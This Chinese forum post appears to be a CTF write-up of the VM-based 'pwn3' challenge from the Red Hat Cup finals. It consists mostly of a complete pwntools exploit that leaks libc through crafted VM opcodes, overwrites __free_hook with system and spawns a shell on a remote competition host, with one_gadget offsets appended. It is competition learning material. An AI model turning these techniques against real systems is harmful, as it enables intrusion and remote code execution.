好久没论坛发帖,来刷个存在感,顺便贴一下我的专栏----pwn踩坑之路,有事没事会在上面水一篇两篇的帖子。
昨天参加的红帽杯决赛,一共有四个pwn题,我在最后的时候把pwn3解出来了,菜鸡的本质就是慢。
这是我做的第一道VM题目,平常都是不做VM(因为我懒,而且队友会做),无奈这次都是VM题目,就只能硬着头皮看了。最后做出来了,还是很开心。
这道题目的运算逻辑挺多的,我是从头到尾慢慢分析,直到把所有的流程全部分析结束之后,找到了任意地址读和任意地址写的办法,然后首先泄露libc,再将free_hook改成system,最终free('sh')拿到的shell。
checksec : PIE没开 i386
exp:如下
#https://github.com/matrix1001/welpwn
from PwnContext import *
from pwn import *
import sys, os
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def change_ld(binary, ld):
"""
Force to use assigned new ld.so by changing the binary
"""
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, '\0'))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
elf = change_ld('./pwn', './ld.so')
#ctx = elf.process(env={'LD_PRELOAD':'./libc.so.6'})
#ctx.binary = './pwn'
ctx = remote('172.16.9.41',9003)
#ctx.breakpoints = [0x08049719,0x08048A92,0x08048A7A,0x08048812,0x0804886B]#menu:08049719 add_1:0x0804974D printf:0x0804979C add_finish:0x080497AD play:0x08048732
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(payload):
sla('>>>',1)
sleep(0.1)
s(payload)
def delete():
sla('>>>',3)
def play():
sla('exit\n>>> ',2)
def copy(a,b):
payload = ""
payload += '\0'+chr(a)+chr(b)
return payload
def sum_add(a,b):
payload = ""
payload += '\x40'+chr(a)+chr(b)
return payload
def put():
payload = ""
payload += "\x11\x01"
return payload
def get():
payload = ""
payload = '\x11\x00'
return payload
def out():
payload='\xb0'
return payload
def sum_delete(a,b):
payload = '\x50'+chr(a)+chr(b)
return payload
#rs('remote')
#rs()
payload = copy(3,10)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+sum_add(3,0x6a)+put()+out()
payload = payload.ljust(0x70,'\0')
payload += p32(1)+'sh\0\0'#6b
add(payload+'\n') #
#dbg()
delete()
play()
#ru('\xb0')
#libc = '\xb0'+r(3)
#libc = ru('\xf7',drop=False)
#libc = libc[-4:]
libc = ru('1.',drop = True)
libc = u32(libc)
libc_base = libc -0x1b27b0 + 0x2000
lg('libc_base ',libc_base)
#raw_input()
#one = libc_base + 0x5fbc6
libc = ELF('./libc.so.6')
system_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
payload = copy(3,0xdd) + get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+ get() + sum_add(3,0x6a)+get()+copy(0,0x6b)+out()
payload = payload.ljust(0x30,'\0')
payload += p32(system_addr) + p32(free_hook)
#gdb.attach(ctx,'b getchar')
add(payload+'\n\n')
#dbg()
#gdb.attach(ctx,'b getchar')
play()
sleep(1)
s(p32(system_addr))
#dbg()
#gdb.attach(ctx,'b getchar')
delete()
irt()
'''
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5fbc5 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5fbc6 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
跟一跟程序逻辑就明白怎么读写了,有的逻辑是重复的。have fun.
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!